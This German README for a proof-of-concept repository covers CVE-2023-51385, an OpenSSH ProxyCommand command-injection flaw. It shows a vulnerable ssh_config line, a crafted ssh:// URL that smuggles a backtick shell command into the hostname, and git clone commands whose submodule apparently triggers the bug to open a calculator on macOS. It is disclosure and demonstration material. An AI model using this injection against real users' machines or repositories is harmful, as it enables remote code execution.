
CVE-2023-51385
RCE durch unsichere ~/.ssh/config Die Verwendung von Tokens wie %h, %p ist sehr beliebt, um Tunnel und Verbindungs-Proxying mithilfe von SSH.ProxyCommand zu nutzen.
Verwundbare Konfiguration host *.example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Hinweis: In meiner ersten Einschätzung war ich der Ansicht, dass die Verwendung von '%h` (einfache Anführungszeichen) dies verhindern würde, aber es sieht so aus, als wäre das immer noch anfällig für so etwas wie:
ssh://echo helloworld > cve.txt`foo.example.com/bar
Entnommen aus: https://man.openbsd.org/ssh_config#ProxyCommand
Was dieses Repository enthält Ein Submodul, das diese Schwachstelle ausnutzt, um unter OSX einen Taschenrechner zu öffnen.
Probieren Sie es aus mit:
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
oder
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules